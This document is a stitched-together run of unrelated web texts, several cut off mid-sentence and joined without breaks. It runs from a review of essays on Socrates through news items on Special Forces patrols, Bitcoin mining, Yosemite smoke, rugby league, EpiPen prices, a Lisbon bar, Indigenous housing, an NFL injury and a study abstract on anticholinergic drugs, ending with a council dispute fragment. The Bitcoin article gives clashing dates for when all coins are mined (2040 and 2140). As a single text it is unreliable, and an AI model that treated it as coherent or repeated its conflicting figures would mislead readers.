In his account of Athenian politics following the 404 surrender to Sparta, Ober productively speculates on how Socrates' apparent nonchalance towards the Thirty might have provoked anger in those who had risked their lives to overthrow the oligarchy (169-70) -- an anger "blocked by the Amnesty from employing the law as its legitimate instrument" of revenge.[6] He conjectures that to bypass the Amnesty's prohibition of prosecuting on account of oligarchic connections, Meletus chose impiety as his complaint rather than, say, being "Critias's putative teacher" (170). Because Socrates had committed no obvious acts of impiety, Meletus "expand[ed] the ordinary legal horizon of impiety" to include "failing to recognize the gods recognized by the polis and introducing new gods" (170). This strategy was risky, given the novelty of his interpretation of the law, so Meletus must have "counted on political factors to tilt the decision in his favor", specifically the "'high politics' of normative conceptions of public duty and accountability" (171). In light of his politically suspect associations, Socrates' failure to moderate his speech after the Thirty's fall may have seemed dangerously hypocritical (172-3), appearing to deny any responsibility for the sins of his followers (173).[7] Thus, Meletus in 399 exploited a low point in Athenian toleration at the end of decades of war and faction and at the beginning of "a costly and uncertain rebuilding period" (173).
Ober asks why Socrates chose to mount a defense rather than simply leaving Athens, which he acknowledges in the Crito as having been an option before the trial. It was because "Socrates believed that it was his civic duty to seek to educate (by stinging awake) his fellows -- and especially his fellow Athenian citizens" (174). While certainly plausible, this speculation is the kind of extrapolation from Platonic text to historical reality that Ober promised to avoid. The concluding section, "Why Socrates Lived in Athens", makes the important point that Athens' legal system "allowed him to live as a philosopher and as an obedient citizen", a system which, Ober acutely observes, allowed "for debate over morally relevant terms" "like a Socratic dialectical conversation" -- and thus, I would add, for progress towards the ideal political community.
* * * * * * *
"Socratic Ignorance", by Bett, is thematically connected with Christopher Rowe and Hugh Benson's essays, a point implied by the editor's grouping, but one that could have usefully been made explicit, for example through overarching section headings. Thus, the Socratic method (Benson) aims to relieve ignorance (Bett) and achieve (or pave the way for) self-knowledge (Rowe), whereas Socratic ignorance seems to have a methodical role and to be an example of Socratic self-knowledge. Bett asks four questions regarding Socrates' profession of ignorance: 1) What does Socrates take himself to be ignorant of? 2) Conversely: of what does he take himself to have knowledge? 3) What does it mean for Socrates to profess ignorance, and what conception of knowledge is he presupposing? 4) Is he sad about being ignorant, or does ignorance have a silver lining, despite falling short of bliss? Bett restricts his discussion to "the character Socrates as portrayed in a certain subsection of Plato's dialogues" (215), marked by an "ignorance of ethical matters" (216).[8]
Bett begins with the Apology, in which Socrates says, "he is well aware of not being at all wise [sophos]" (21b4-5) -- and not (as is often thought) that "he knows he knows nothing". This is an important clarification, but Bett himself seems to err in his presentation of the motive of this statement, viz., "the oracle proclaiming him the wisest person of all" (219). The oracle does not "proclaim" him the wisest or anything else. It was asked by Chaerephon: "Is any man wiser than [Socrates]?", and answered simply: "No one is wiser" (Ap. 21ab).[9] It is Socrates who then misinterprets the oracle to have ascribed positive wisdom to him. He sets out, consequently, torefute (elegxôn, Ap. 21c1) the god, and finds, as he suspected, that the god was not lying (cf. Ap. 21b6; 22ab). Since Bett misreads the oracle's statement (i.e., as "Socrates is the wisest") he also misconstrues the sense in which Socrates finds the oracle to have been correct: Socrates discovers through serial refutation of reputed experts that there is no one wiser than he, which is entirely in accord with his being "not wise at all". Bett, by contrast, thinks that Socrates discovers a sense in which he is positivelywise or "wisest" (as opposed to there merely being none wiser than he), to wit, in having the "human wisdom" mentioned at Ap. 20d8. What does Bett think this human wisdom consists in? It is somewhat unclear, as he here mixes and matches statements from Ap. 21d and 23 |
Heavily-armed Special Forces soldiers driving specially adapted and armoured civilian vehicles will patrol Britain's streets in a bid to thwart an Islamic State atrocity over the Bank Holiday Weekend.
Security sources disclosed last night that elite troops will mingle with revellers and tourists at sites considered most at risk of a terrorist attack. But the male and female personnel will remain incognito unless called upon to intercept any jihadis.
A security source told The Mail on Sunday last night: 'They will be casually dressed with their weapons hidden beneath their clothes. They won't be in traditional military vehicles either.
A girl has her photo taken with Armed Police at V Festival in Weston Park, Staffordshire
'Recently, a company of Special Forces Support Group troops completed a live firing exercise using Civilian Armoured Vehicles and they will be called upon.
'These are regular cars but with special adaptations such as armour-plated doors and reinforced bullet-proof windows to assist them in an urban close quarter battle scenario,' the source added.
'The other troops who have been called up for the Bank Holiday Weekend include personnel from the Special Reconnaissance Regiment, who are experts in undercover operations.'
It is understood a list of locations in London and around the UK thought to be the most likely targets for IS is being finalised. This is likely to include airports and major sports stadiums.
'The terrorists are also thought to be planning a 'triple tap' attack – three incidents either simultaneously or shortly afterwards but in the same vicinity,' added the source.
The Ministry of Defence declined to comment last night.The monster machines mining Bitcoins in cyberspace that could make techies a small fortune (but cost $160,000 a day to power)
The competitive world of Bitcoin collecting has spawned a wave of supercomputers techies hope will make them a small fortune - even if they cost tens of thousands of dollars to power.
Specially developed Bitcoin'mining' computers are either homemade or can be purchased from one of the growing number of online stores dedicated to cashing in on the supply side of the cult currency trend.
There are 21 million Bitcoins hidden across an internet-based network, which are expected to all be found by 2040. To unearth them computers have to solve the complex processor-intensive equations which hold them.
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Plugged in: Developers are building their own computers that are purely focused on unlocking Bitcoins hidden online
Money-making: The machines are able to crack the code to unlock Bitcoins - 21million of which are available online
Currency: This is a physical manifestation of a Bitcoin. A Bitcoin is really a piece of computer code which can't be stolen or forged
The more powerful the machine the better it is at solving the riddle.
So unsurprisingly canny computer-makers are developing high-powered souped-up computers so they can so they can do it repeatedly and rapidly and collect the most coins.
Allowed to work for hours on end, the mining machines can unlock many of the potentially lucrative coins - essentially computer codes - which are then used as currency online making their collectors potentially very rich.
A recent 24-hour period of work yielded Bitcoin miners around the globe $681,000 in profit.
What is a Bitcoin?
It's a piece of data locked in an internet-based network by a complex equation computers can break.
Once released it can be traded and used like money online and can be purchased with real cash.
Many websites are now taking Bitcoins as a form of currency. As well as digital currency, Bitcoin miners enjoy the competitive nature of unlocking the coins.
Famous fans include the Winklevoss twins who own around 1 percent of Bitcoins - currently worth around $11million
It has been dismissed by some as a Ponzi Scheme and touted by others as the future of money. It is not centrally controlled and it's unique and complex set up means the market cannot be altered or hacked, according to the developers
There are 21 million coins predicted to last until 2140 and their finite nature means they perform more like a commodity, such as gold.
The coins first emerged in 2008 and launched as a network in 2009.
They were introduced by an obscure hacker whose identity is a mystery but is known as Satoshi Nakamoto, which is thought to be a pseudonym
Users choose a virtual wallet from one of the various providers which enables them to receive, give and trade coins from other users
Bitcoins can be bought from specialist currency exchanges and online marketplaces such as eBay
And Bitcoin mining is being seen as so lucrative the digital drills themselves are selling for a small fortune.
The best machine on the market, according to Gizmodo, is the Avalon ASIC which at $6,800 isn't cheap given its only function is plucking bits of code from the ether.
'Money cannot buy a better Bitcoin mining machine,' Gizmodo writes.
'It was designed and built front to back with Bitcoin mining and Bitcoin mining alone in mind. It cannot do anything else, but it cannot be beat at what it does. It's the beginning of the end of revolutions in Bitcoin mining. It is the endgame of an arms race.'
The Bitcoin network, set up by a mysterious programmer under the pseudonym Satoshi Nakamoto in 2009, is also designed to get more complex the more miners there are looking for Bitcoins - opening the potential for ever-developing mining machines.
And engineers enjoy the competitive building side as much as the money - showing off pictures of their room-sized rigs on Bitcoin chat rooms like Bitcointalk.org.
With all the recent fanfare around the currency - led by the Winklevoss twins revelations they own 1 per cent of Bitcoins - currently worth $11 million - some have overlooked the controversy surrounding the machines high use of energy.
Writer Mark Gimein described Bitcoin mining as 'an environmental disaster' in a blog post for Bloomberg.
'Real-world mining of precious metals for currency was a resource-hungry and value-destroying process. Bitcoin mining is too,' he wrote.
However, Tim Worstall, a fellow at the Adam Smith Institute, disagrees saying the amount of energy used isn't notable enough to be a problem.
'There are around 120 million or so households in the US. Therefore Bitcoin mining is consuming 0.025% of the US household electricity supply,' he wrote.
'Do also note that that is the power consumed by global Bitcoin mining... I feel secure in stating that Bitcoin mining really isn't a real-world environmental disaster.'
Home-grown: People who develop their own Bitcoin drills tend to post pictures of them online in Bitcoin chat-rooms
Drilling: The computers answer the codes containing Bitcoins
Tailor-made: This Butterfly Labs BitForce Mini Rig SC, is one of various specially designed computers purely for Bitcoin mining
Bitcoins are not backed by silver or gold but can be exchanged for goods and services just like traditional currencyWildfire smoke chokes Yosemite, air quality reaches unhealthy level
Wildfire smoke chokes Yosemite National Park on Sept. 5, 2017. Wildfire smoke chokes Yosemite National Park on Sept. 5, 2017. Photo: Courtesy Yosemite National Park Photo: Courtesy Yosemite National Park Image 1 of / 59 Caption Close Wildfire smoke chokes Yosemite, air quality reaches unhealthy level 1 / 59 Back to Gallery
The air quality in Yosemite National Park reached unhealthy levels Wednesday morning as smoke from multiple wildfires choked the valley.
The national park posted an eerie image (see above) of the park on Facebook on Tuesday night showing the valley's bleak brownish haze. Only the trees and a meadow in the foreground are visible, while Half Dome and the park's granite peaks are obscured.
"What makes the smoke settle in the valley?" the Facebook post explains. "When air gets cold, it becomes more dense. The cold air flows down canyons and other low spots (like Yosemite Valley), carrying the smoke particles with it. When the air warms up and conditions are right, the rising warm air carries the smoke particles upward."
The Empire and South Fork wildfires are burning in the park as well as several smaller fires. The nearby Peak and Railroad fires are contributing to the smoky conditions, said Mike Kochasic, a meteorologist with the National Weather Service office in Sacramento.
Related: Yosemite trails, road shut down as fire reaches deeper into grove of giant sequoias
"Right now we're coming out of a period where we had really high pressure over us and that creates a lot of stagnant air and the air quality becomes bad from pollution alone," Kochasic, said. "When you add wildfires to that, it gets really bad. You have reduced visibility and poor air quality."
The Yosemite National Park website confirmed Wednesday morning that air quality levels had reached unhealthy levels at the visitor center. The park referred visitors to more detailed information on a U.S. Forest Service site indicating the Wawona area was at a hazardous level, while Yosemite Village, Yosemite West, Foresta, Tuolumne Meadows and El Portal would all remain unhealthy through the day with some clearing in the evening.
The smoky conditions are expected to improve Thursday.
Access to Yosemite via Highway 41 from Fish Camp, Oakhurst, or Fresno, is closed due to the Railroad Fire. Visitors are advised to travel to use Highway 49 to Mariposa, then Hwy 140 to Yosemite.Wild Bill: Sonny Bill Williams gives referee Jared Maxwell the glare following the Roosters’ loss to Penrith last Saturday. Credit:Getty Images "I've sensed right throughout the year that Sonny Bill has had a problem with some of his teammates at different times," Gould said. "I'm not sure this side has ever recaptured the sort of diligence and discipline it had last year when it won the premiership. It's rocked along on one leg near enough at the top of the table to know they'll be in the finals... I think that irks Sonny Bill because he prides himself on his consistency and excellence. "He's playing frustrated at the moment. He might take it out on the Cowboys." That frustration was there for all to see late in the excruciating loss to the Panthers last Saturday. Having forced a Panthers mistake, Williams detonated. "COME ON YOU F---ING MOTHER F---ERS!" he barked. It certainly appeared to be directed at his teammates. It was the only memorable sign of emotion from Sonny this year.
Williams shows Willie Mason who's boss last season. Last season, he did it weekly – as Willie Mason can attest after Sonny plonked him fair on his backside and then said, "Get up you weak [expletive]." He also had a roving commission back then, ripping through defensive lines whenever he saw fit. Standing out there on the right side of the attack, the issue this season appears to be that the Roosters' best player just doesn't touch the ball enough. Some will suggest that's the fault of the coaching staff, or halfback Mitchell Pearce. But even Sonny's closest allies have told him he's the big dog, and he needs to take control and eat whenever he wants. He did it in the final round against South Sydney. The Roosters won.
If he can do it in the final three matches, he won't just have done it all but will be remembered as the player who left the game, came back and then steered his side to consecutive premierships. And that is something we would unlikely ever see from a player again. Foran's gone to the Dogs? The talk has been everywhere this week that Manly five-eighth Kieran Foran is headed to the Bulldogs in 2016 – which is intriguing given both sides square off in Saturday night's semi-final. At the very least, the Sea Eagles will have to move heaven and earth to keep him when his deal is up next year, such is his frustration at the direction of the club.
Canterbury coach Des Hasler went close to convincing Foran to follow him to Belmore three years ago, before senior Manly players stepped in and persuaded Foran to stay. Hasler is all but certain to snap up Dragons winger Brett Morris, who would be used at fullback. The Dragons need to move players because of some major issues with their salary cap – partly because of the knock-on effect of snapping up Benji Marshall on a three-year deal earlier this year. How the Red V faithful cop the departure of Morris – and possibly NSW forward Trent Merrin – because of the signing of Marshall should be interesting. War rages on the northern beaches Last week's item about the internal war at Manly and the senior players having too much sway made the natives restless.
We were given some food for thought. The senior players might not have "built this club", but they certainly rebuilt it after the disaster of the Northern Eagles. We were also told of just how shabbily those players have been treated over the years. Meanwhile, they are still tut-tutting on the northern beaches about an explosive confrontation between back-rower Anthony Watmough and club officials. It happened at the club's presentation night in the lead-up to the qualifying final against Souths last week. Watmough is understood to be furious about the leaking of a story to Fairfax Media about his impending move to the Eels. Apparently not, Flanno
The NRL's decision to keep Sharks coach Shane Flanagan on ice just a little longer rekindled thoughts of a conversation with him in June. Flanagan, who remains suspended for failing to stop the supplements program at the Sharks in 2011, had taken umbrage at a column from this reporter, especially a remark that he was "supposedly not coaching" the club from which he had been banned. When it was suggested he had been involved in player recruitment, he emphatically protested: "Which I'm entitled to do." Apparently not. As outlined by the NRL on Wednesday, one of the conditions of his ongoing suspension is to "refrain from dealing directly or indirectly with the Sharks club, team and players".
Goodes may play on for just $100,000 a year Swans legend and Australian of the Year Adam Goodes is looking more likely by the minute to play on next season. He plays the 350th game of his career on Friday in the preliminary final against North Melbourne at ANZ Stadium. At 34, speculation continues to swirl about whether he will play on next season or retire. In an interview with Fairfax Media earlier this month he said: "The best thing about what happens next year is that it's my call. I've got no pressure from the footy club. I can play out the year and decide what I want to do." This column has been told if Goodes does play on it could be for as little as $100,000, because of salary cap constraints. Given how much Goodes can earn on the public speaking circuit, a playing contract would merely serve as spare change. He'd be playing on for love, not money, and how many players in the moonlight of their careers can do that? Thumbs up
Western Sydney Wanderers took one giant step towards a place in the Asian Champions League final with their 0-0 draw against FC Seoul in the away leg of their semi-final in Korea. Given what the side has achieved in its two years of existence, is Tony Popovic the best coach in Australian football? Discuss. Thumbs down Which bizarro world have we slipped into? Mick Ennis is "disrespectful" for messing up Cameron Smith's hair after he made an error because Smith is the Australian captain? What would have happened if Smith had done it to Ennis? Keep it real, rugby league. And stay classy. It's a big weekend for... Daly Cherry-Evans, who is starting to show the strain on the field because of this internal feud at play at his club. All eyes will be on the Manly No.7 against the Doggies on Saturdee. It's an even bigger weekend for...
The Swans, as they look to book a place in the AFL Big Dance when they take on North Melbourne in the preliminary final at ANZ Stadium. They are one result away from the possible showdown with Hawthorn we have been expecting all season. Exciting times. The quote "How many f---ing grand finals have you won?" So asked Broncos co-captain Justin Hodges as he walked up the tunnel following the loss to the Cowboys. An oldie but a goodie.from “Kill la Kill” with Yuana Tojo as Kiryūin Satsuki
(日本語版へ)
My wife Yuana got me hooked on Kill la Kill. She spent nights and days working on my costume of Ira Gamagōri for me to join her as Kiryūin Satsuki at the next Wonder Festival. We were excited to participate and we didn’t let the heaviest snowfall in Tokyo for the past 16 years stop us, despite the detours that slowed us down.
We only attended the event for two hours, and even after with less time to cosplay after we change, it was a hit. We gathered with dozens of cosplayers and photographers all showing their obsession with Kill la Kill. My wife and I are glad we made it!
Next time will be in a studio. I can hardly wait!
Please follow me on your network of choice:
Thanks go to Yuana Tojo of Y’s Factory for making my costume as well as to all the cosplayers and photographers who gathered with us!Americans are being forced to pay hundreds of dollars for a common life-saving product that has been on the market since 1977. (Photo: Phillip Bradshaw / Flickr)
Martin Shkreli became one of the most notorious people in the United States for hiking the price of a rarely used life-saving drug by 4,000 percent in September 2015. And nearly a year later, dozens of reports are now coming out about how Mylan Pharmaceuticals hiked the price of the very common life-saving EpiPen by over 450 percent since Mylan bought EpiPen in 2007.
You’ve probably heard of EpiPens, and you probably know someone who needs to carry two around with them at all times, just in case they have a severe allergic reaction as a result of some everyday occurrence — for example, encountering a food product with peanuts or being stung by a bee.
ABC News reports that, “The website Good Rx … currently lists EpiPens as costing around $600 at multiple drug stores. In 2007, when Mylan Pharmaceuticals took over producing the drug from Merck, the cash price of the pens was about $50.” And Bloomberg reports that the device only contains about $1 — one dollar — worth of epinephrine.
See more news and opinion from Thom Hartmann at Truthout here.
But it’s not the epinephrine that makes EpiPens unique, it’s the precision delivery system, the “Pen,” that makes the product special. And that delivery system really hasn’t changed since 1977 when the EpiPen hit the market. So why has the price more than quadrupled since 2007? Why are patients who need this medicine currently paying $600 for two pens?
Because of the greed at Mylan Pharmaceuticals, plain and simple.
Cynthia Koons and Robert Langreth at Bloomberg wrote last year about “How Marketing Turned the EpiPen Into A Billion-Dollar Business.” The report details how Mylan bought EpiPen from Merck and then aggressively marketed the drug to concerned parents, while increasing prices annually.
That strategy boosted the revenues from EpiPens by more than $1 billion, from $200 million in revenues in 2007, up to $1.2 billion in 2015. That strategy worked so well for Mylan that by 2015, EpiPen represented 40 percent of Mylan’s operating profits, according to ABR/Healthco estimates.
A report from NBC News shows that during that same period Mylan CEO Heather Bresch’s total compensation increased from $2.5 million to nearly $19 million — a 671 percent increase!
The stock price also more than tripled from $13.29 in 2007 to $47.59 in 2015, and according to OpenSecrets, the company’s lobbying efforts spiked from $270,000 to $1.2 million in 2008, resulting in changes in FDA guidelines that directly benefited the company’s bottom line — while patients still saw annual price increases.
That strategy of aggressive marketing, price hikes and intense lobbying efforts also feeds the problem that Sen. Bernie Sanders spotlighted on the campaign trail last year: Americans pay the highest prices for prescription drugs in the entire world because the pharmaceutical companies take Americans for suckers.
So in 2015, while patients in the United States paid about $415 for a package of two EpiPens even after insurance company discounts, patients in France only paid about $85 for the very same package.
And just to be clear, EpiPens aren’t sold in packages of two so that patients can buy a package and be safe for two allergic reactions. EpiPens are sold in packages of two because in the case of a severe allergic reaction, if emergency services can’t arrive within 15 minutes of the first EpiPen shot, a second EpiPen shot needs to be administered, and if it isn’t, that person could die.
One parent wrote to Emily Willingham at Forbes and described how quickly that all starts adding up: “In our case, with 2 kids, we have to have 8 at all times: 2 for each child at school and 2 for each child at home, and that is if we don’t even use them! If we do have to use one, we have to purchase more.”
And because EpiPens expire after one year, they’ll have to purchase more anyway, and it could cost that parent nearly $5,000 every year to replace all eight EpiPens (in the unlikely scenario that Mylan doesn’t continue to cruelly hike the price).
The truth is, life-threatening food and insect allergies are on the rise, and we should be doing everything we can to make easy-to-administer epinephrine at least as available as defibrillators in public places, like restaurants, schools, universities, businesses, and so on.
It’s true that Mylan has made small efforts to make EpiPens more available; for instance the company has distributed nearly 700,000 free EpiPens to more than 65,000 schools around the country. And there is at least one cheaper generic option that costs “only” about $142 with a coupon, nearly twice the cost of two EpiPens in France.
Thanks to runaway corporate power, Americans are being forced to pay hundreds of dollars for a common life-saving product that has been on the market since 1977.
So, while Martin Shkreli grabbed media headlines and was widely reviled for his cruel 4,000 percent price hike last year, he’s by no means the only pharmaceutical executive who is relentlessly pursuing profits by taking sick Americans as suckers to be exploited and left for dead.
If we want to solve this issue, we need to rein in the pharmaceutical industries and take the profit-motive out of health care. That means we must join every other developed country in the world and expand universal Medicare coverage to every person in the country, and we need to allow Medicare to negotiate with prescription drug companies for reasonable prices that don’t force people to choose between food or pharmaceuticals.The cocktail culture is alive and well in the form of Cinco Lounge. This sleek and sophisticated nightspot is considered by many to be the best bar in Lisbon. Located in Príncipe Real, just a short walk from the Bairro Alto, Cinco Lounge is a cool hangout to unwind in an uptown atmosphere while sipping on a perfectly blended beverage.
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You could say owner and bartender Dave Palethorpe has cocktails in his blood. He’s served up mixed drinks in trendy bars in London, Sydney and New York for years before opening Cinco Lounge in 2004. Through his mixology consulting business, Basil & Black Pepper, he designs cocktatils for some of Portugals trendiest restaurants.
Cinco Lounge’s menu of over 100 cocktails include classics from the 20th century as well as innovative new concoctions created for the new millennium. Some beverages that make our mouths water include:
■ Utterly Butterfly – Fresh nutmeg, butter, apple, cloves, lemon, all spice and Element 8 rum heated up with pressed apple juice
■ Hot Tub – Pampero rum, Grand Marnier, orange oil and a hint of cinnamon flamed in a brandy balloon
■ Melon Froth – Tanqueray gin shaken with melon, balanced with fresh lime, sugar, then charged with soda.
■ Black Pepper & Basil – Ripped basil leaves, freshly squeezed lemon juice and a touch of black pepper lengthened with Tanqueray gin, sugar syrup, and a splash of soda, sprayed with an orange zest.
■ Apple and Eve – Cinco Lounge version of the Appletini, granny smiths muddled with Bison Grass vodka balanced with freshly squeezed lemon juice and apple infused sugar.
■ Madagascar Bourbon – Smirnoff vanilla vodka fresh pineapple wedges shaken with vanilla lemon and sugar, straight up in a large martini.
■ Pssst Pssst – Vanilla sugar, José Cuervo tequila and passion fruit juice shaken with freshly squeezed lemon.
■ Pink Mojito – A lengthy and flavorsome concoction of José Cuervo tequila, cranberry juice, mint, lime and brown sugar.
■ Sherlock Tones – J&B whisky, pressed apple and lemon juice, with coconut ice cream served over ice with a spoon.
Photos above (clockwise from top left): Emmantini Tiny Toes, Utterly Buttery, Pink Mojito and No 82.
Cinco Lounge offers cocktail classes too. Grab some of your friends or colleagues and arrange a private workshop. Just email Dave at the address below to find out details.
For more information, visit the Cinco Lounge website.
Cinco Lounge
Rua Ruben A. Leitão, 17-A
Principe Real
Lisbon
Phone: +351 213 424 033
Email: info@cincolounge.com
Hours: Tuesday through Saturday – 21:00 to 02:00
Cocktail photos: Humberto Mouco | INTER magazineAmnesty slams'shocking' Indigenous conditions
Updated
Sorry, this video has expired Video: Amnesty slams Indigenous policy (7pm TV News NSW)
Amnesty International says the Federal Government needs to be internationally shamed into addressing poverty among Indigenous Australians.
Secretary-general Salil Shetty on Saturday toured remote towns in the Northern Territory, including Utopian communities north-east of Alice Springs.
He described the plight of locals as "devastating", saying people there are living in inhumane conditions that are almost third-world.
"I've been to many places in bad shape in Africa, Asia and Latin America, but what makes it stark here is when you remind yourself you're actually in one of the richest countries in the world," he said.
"I can't believe I'm actually in one the richest countries in the world and you have people, Aboriginal communities here who are living in conditions which are really almost inhumane," he said.
A two-bedroom house he saw had 15 people living in it; others had no toilets or showers.
Some had been without electricity and water for months.
Mr Shetty says the Federal Government is contravening its human rights obligations.
He says the community has been stripped of funds that provide basic services, including running water, electricity, and hygiene services.
"I think it's quite shocking that you can have this level of poverty and this level of lack of basic facilities," he said.
"Their housing... is really not suitable for habitation. They have no power, they have no basic facilities, sanitation, toilets."
He will meet with Indigenous Affairs Minister Jenny Macklin on Wednesday in Canberra to demand the end of discrimination for homeland people and emergency action to improve housing conditions.
The Utopia region, 260 kilometres north-east of Alice Springs, has about 1,200 residents in 16 different communities.
More than one-third of the NT's Aboriginal population lives in 500 remote homeland communities.
ABC/AAP
Topics: human, indigenous-policy, indigenous-aboriginal-and-torres-strait-islander, federal-government, nt
First postedCLOSE Titans backup quarterback Matt Cassel turned the ball over three times after Marcus Mariota was injured in a blowout loss to the Texans. Jason Wolf/USA TODAY NETWORK-Tennessee
Titans quarterback Marcus Mariota stands on the sideline with an injured hamstring during the fourth quarter Sunday, Oct. 1, 2017. (Photo: George Walker IV / tennessean.com)
Titans quarterback Marcus Mariota has a strained hamstring and is listed as day to day, coach Mike Mularkey said Monday.
Mularkey said it could be as late as Sunday before a decision is made on whether Mariota is able to play against the Dolphins in Miami (noon, CBS).
Mariota was injured in Sunday's 57-14 loss against Houston at NRG Stadium.
"I'll be able to give you more information (on Mariota's status) on Wednesday," Mularkey said.
More: Titans were bad, but mostly Deshaun Watson is really, really good
He said Mariota will not practice until he improves, and that the amount he practices won't dictate his playing status. He also pointed out that Mariota is a "quick healer."
The Titans were off Monday.
Matt Cassel replaced Mariota on Sunday and, Mularkey said, will get "a number of reps" especially in Wednesday's practice.
He also said the team is considering adding another quarterback to the roster.
"Until we see more about Marcus the thought process would be to have Matt take as many reps as possible," Mularkey said.
Mariota was hurt while running for his second touchdown in the first half.
CLOSE Marcus Mariota left the Titans game with a hamstring injury on Sunday. Titans coach Mike Mularkey said that they are taking the injury "day by day." Autumn Allison/USA TODAY NETWORK-Tennessee
He returned to the field and warmed up for the second half but, after talking with Mularkey, remained on the sideline while Cassel played the rest of the way.
Mularkey said a hamstring injury is difficult to evaluate.
He pointed to running back DeMarco Murray injuring his hamstring against Jacksonville and then being able to play the following week against Seattle in a game in which he had a 75-yard touchdown run.
"With a hamstring injury, each guy's different," Mularkey said. "DeMarco Murray had a little bit of a strain in his and we kind of watched him throughout the week of practice and then he came back and played well. So again, we're just going to take this day by day with Marcus and make sure we're smart with him."
Mularkey said much of the decision will be based on how Mariota says he feels.
"These guys have to be upfront and honest with you, and they understand all of that," he said. "They're not going to subject themselves to further injury when they know there's so much football left to play."
Mariota completed six of 10 passes for 96 yards with two interceptions against Houston. He rushed for 39 yards on four carries. His two TDs came on runs of 34 and 2 yards.
More: Marcus Mariota shows wheels but hamstring gets him: Titans' best and worst
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Mariota has completed 66 of 110 passes for 792 yards on the season. He has thrown three TDs and three interceptions.
Mariota has struggled with injuries since he's been in the NFL. He suffered a knee injury as a rookie in 2015, which forced him to miss four games, and then broke his right leg in a game last December against Jacksonville.
Reach Mike Organ at 615-259-8021 and on Twitter @MikeOrganWriter.Abstract
Importance The use of anticholinergic (AC) medication is linked to cognitive impairment and an increased risk of dementia. To our knowledge, this is the first study to investigate the association between AC medication use and neuroimaging biomarkers of brain metabolism and atrophy as a proxy for understanding the underlying biology of the clinical effects of AC medications.
Objective To assess the association between AC medication use and cognition, glucose metabolism, and brain atrophy in cognitively normal older adults from the Alzheimer’s Disease Neuroimaging Initiative (ADNI) and the Indiana Memory and Aging Study (IMAS).
Design, Setting, and Participants The ADNI and IMAS are longitudinal studies with cognitive, neuroimaging, and other data collected at regular intervals in clinical and academic research settings. For the participants in the ADNI, visits are repeated 3, 6, and 12 months after the baseline visit and then annually. For the participants in the IMAS, visits are repeated every 18 months after the baseline visit (402 cognitively normal older adults in the ADNI and 49 cognitively normal older adults in the IMAS were included in the present analysis). Participants were either taking (hereafter referred to as the AC+ participants [52 from the ADNI and 8 from the IMAS]) or not taking (hereafter referred to as the AC− participants [350 from the ADNI and 41 from the IMAS]) at least 1 medication with medium or high AC activity. Data analysis for this study was performed in November 2015.
Main Outcomes and Measures Cognitive scores, mean fludeoxyglucose F 18 standardized uptake value ratio (participants from the ADNI only), and brain atrophy measures from structural magnetic resonance imaging were compared between AC+ participants and AC− participants after adjusting for potential confounders. The total AC burden score was calculated and was related to target measures. The association of AC use and longitudinal clinical decline (mean [SD] follow-up period, 32.1 [24.7] months [range, 6-108 months]) was examined using Cox regression.
Results The 52 AC+ participants (mean [SD] age, 73.3 [6.6] years) from the ADNI showed lower mean scores on Weschler Memory Scale–Revised Logical Memory Immediate Recall (raw mean scores: 13.27 for AC+ participants and 14.16 for AC− participants; P =.04) and the Trail Making Test Part B (raw mean scores: 97.85 seconds for AC+ participants and 82.61 seconds for AC− participants; P =.04) and a lower executive function composite score (raw mean scores: 0.58 for AC+ participants and 0.78 for AC− participants; P =.04) than the 350 AC− participants (mean [SD] age, 73.3 [5.8] years) from the ADNI. Reduced total cortical volume and temporal lobe cortical thickness and greater lateral ventricle and inferior lateral ventricle volumes were seen in the AC+ participants relative to the AC− participants.
Conclusions and Relevance The use of AC medication was associated with increased brain atrophy and dysfunction and clinical decline. Thus, use of AC medication among older adults should likely be discouraged if alternative therapies are available.
Introduction
Anticholinergic (AC) medications have been linked to impaired cognition1-16 primarily in nondemented older adults10,17 and an increased risk for cognitive impairment and dementia in older adults.1,3,4,18-20 The biological basis for the cognitive effects of AC medications is unknown. However, given the importance of the cholinergic system in cognition, researchers speculate that direct impairment of cholinergic neurons may underlie these effects. In fact, previous studies21,22 using scopolamine hydrobromide, a cholinergic antagonist, have shown transient cognitive impairment in young and older adults. A recent study23 suggested that administration of AC medications modulates the association between brain volume and cognition. However, to our knowledge, no studies have examined the effects of regular AC medication use on neuroimaging measures of brain structure and function in cognitively normal (CN) older adults.
The goal of the present study was to assess AC medication use in CN older adults from the Alzheimer’s Disease Neuroimaging Initiative (ADNI). In particular, we sought to evaluate whether cognitive performance, brain glucose hypometabolism, structural brain atrophy, and clinical progression to mild cognitive impairment (MCI) and/or Alzheimer disease (AD) were associated with the use of AC medication. We also completed a similar analysis in an independent cohort of CN older adults from the Indiana Memory and Aging Study (IMAS). We hypothesized that participants taking AC medications (hereafter referred to as AC+ participants) would show poorer cognition, reduced glucose metabolism, brain atrophy, and increased clinical decline relative to those not taking AC medications (hereafter referred to as AC− participants) and that these effects would be greatest in those with the highest total AC burden score.
Box Section Ref ID
Key Points Question Is use of anticholinergic medication associated with poorer cognition, brain hypometabolism, brain atrophy, and/or increased risk of clinical decline in cognitively normal older adults?
Findings In this longitudinal study of 2 cohorts of cognitively normal older adults, use of medications with medium or high anticholinergic activity was associated with poorer memory and executive function, brain hypometabolism, brain atrophy, and increased risk of clinical conversion to cognitive impairment. This finding was greatest for those taking drugs with the most anticholinergic activity.
Meaning Use of medication with significant anticholinergic activity should likely be discouraged in older adults if alternative therapies are available.
Methods
Alzheimer’s Disease Neuroimaging Initiative
Data used in the preparation of this article were obtained from the ADNI (http://adni.loni.usc.edu; for more information, see the eAppendix in the Supplement, http://www.adni-info.org, and previous reports24-29). Written informed consent was obtained according to the Declaration of Helsinki.30
Indiana Memory and Aging Study
The IMAS includes CN participants, participants with subjective cognitive decline, participants with MCI, and participants with AD, but only data from CN participants and participants with subjective cognitive decline were used for this analysis. Participants provided written informed consent according to the Declaration of Helsinki,30 and the procedures were approved by the Indiana University Committee for the Protection of Human Subjects.
AC Medications
Medication logs from the ADNI and the IMAS were manually curated to identify medications with low, medium, or high AC effects as defined by the Anticholinergic Cognitive Burden (ACB) scale and other reports.18,31-33 See eTable 1 in the Supplement for all medications identified. To be defined as an AC+ participant, participants had to have been taking the medication at the baseline visit for a minimum of 1 month. The total AC burden score |
of business.
"Number one is asking for Councillor Mehajer to resign," Ms Simms said.
"We can't make him leave, but we are asking him to leave and giving basically a vote of no confidence in the council."
Ms Simms and her three colleagues said Cr Mehajer had a conflict of interest as a developer on council.
They say he has been taking advantage of laws introduced by the State Government in 2012 which allow councillors to vote on amendments to development applications even when related to their own properties.
"Under those 2012 changes, a councillor was able to vote on a Local Environment Plan (LEP) even when they had a pecuniary interest," Ms Simms said.
"The LEP is what determines how high a building can be — so say a councillor was a developer who proposed a three-storey unit block, they could vote to make that 10 storeys.
